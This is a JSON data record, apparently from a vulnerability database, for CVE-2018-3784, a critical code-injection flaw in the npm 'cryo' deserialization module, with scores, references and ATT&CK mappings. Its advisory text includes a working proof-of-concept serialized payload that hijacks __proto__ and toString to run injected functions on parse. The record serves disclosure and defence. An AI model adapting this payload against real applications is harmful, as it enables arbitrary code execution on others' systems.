[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"cve-CVE-2018-3784":3},{"id":4,"cve_id":5,"euvd_id":6,"summary":7,"published":8,"cvss_data":9,"is_remote":20,"cwes":21,"cpes":24,"technologies":28,"references":31,"score":36,"epss_score":37,"epss_percentile":38,"is_kev":39,"cisa_kev_date_added":40,"cisa_kev_due_date":40,"cisa_ssvc":41,"attack_mappings":47,"exploits":75},223974,"CVE-2018-3784","EUVD-2018-0359","Code Injection in cryo\n\nAll versions of `cryo` are vulnerable to code injection due to an Insecure implementation of deserialization.\n\n\n## Proof of concept\n\n```js\nvar Cryo = require('cryo');\nvar frozen = '{\"root\":\"_CRYO_REF_3\",\"references\":[{\"contents\":{},\"value\":\"_CRYO_FUNCTION_function () {console.log(\\\\\"defconrussia\\\\\"); return 1111;}\"},{\"contents\":{},\"value\":\"_CRYO_FUNCTION_function () {console.log(\\\\\"defconrussia\\\\\");return 2222;}\"},{\"contents\":{\"toString\":\"_CRYO_REF_0\",\"valueOf\":\"_CRYO_REF_1\"},\"value\":\"_CRYO_OBJECT_\"},{\"contents\":{\"__proto__\":\"_CRYO_REF_2\"},\"value\":\"_CRYO_OBJECT_\"}]}'\nvar hydrated = Cryo.parse(frozen);\nconsole.log(hydrated);\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.","2018-08-21T17:02:00Z",{"cvss_v3.1":10},{"scope":11,"version":12,"baseScore":13,"attackVector":14,"baseSeverity":15,"vectorString":16,"integrityImpact":17,"userInteraction":18,"attackComplexity":19,"availabilityImpact":17,"privilegesRequired":18,"confidentialityImpact":17},"UNCHANGED","3.1",9.8,"NETWORK","CRITICAL","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","HIGH","NONE","LOW",true,[22,23],"CWE-502","CWE-94",[25,26,27],"cpe:2.3:o:cryo_project:cryo:0.0.6:*:*:*:*:node.js:*:*","cpe:2.3:a:cryo:cryo:0.0.6:*:*:*:*:*:*:*","cpe:2.3:a:cryo:cryo:*:*:*:*:*:*:*:*",[29,30],"Cryo_Project Cryo","Cryo Cryo",[32,33,34,35],"https:\u002F\u002Fhackerone.com\u002Freports\u002F350418","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2018-3784","https:\u002F\u002Fgithub.com\u002Fadvisories\u002FGHSA-38f5-ghc2-fcmv","https:\u002F\u002Fwww.npmjs.com\u002Fadvisories\u002F690",0.84,0.03252,0.88273,false,null,{"timestamp":40,"automatable":42,"tech_impact":43,"exploitation":44,"cisa_decision":45,"cisa_remediation_timeline":46},"no","partial","none",{},"FSU",[48,54,63,69],{"name":49,"source":50,"tactics":51,"technique_id":53},"Exploit Public-Facing Application","attack_vector",[52],"initial-access","T1190",{"name":55,"source":56,"cwe_ids":57,"tactics":58,"capec_ids":60,"technique_id":62},"HTML Smuggling","capec",[23],[59],"stealth",[61],"CAPEC-35","T1027.006",{"name":64,"source":56,"cwe_ids":65,"tactics":66,"capec_ids":67,"technique_id":68},"Embedded Payloads",[23],[59],[61],"T1027.009",{"name":70,"source":56,"cwe_ids":71,"tactics":72,"capec_ids":73,"technique_id":74},"Resource Forking",[23],[59],[61],"T1564.009",[76],{"link":32}]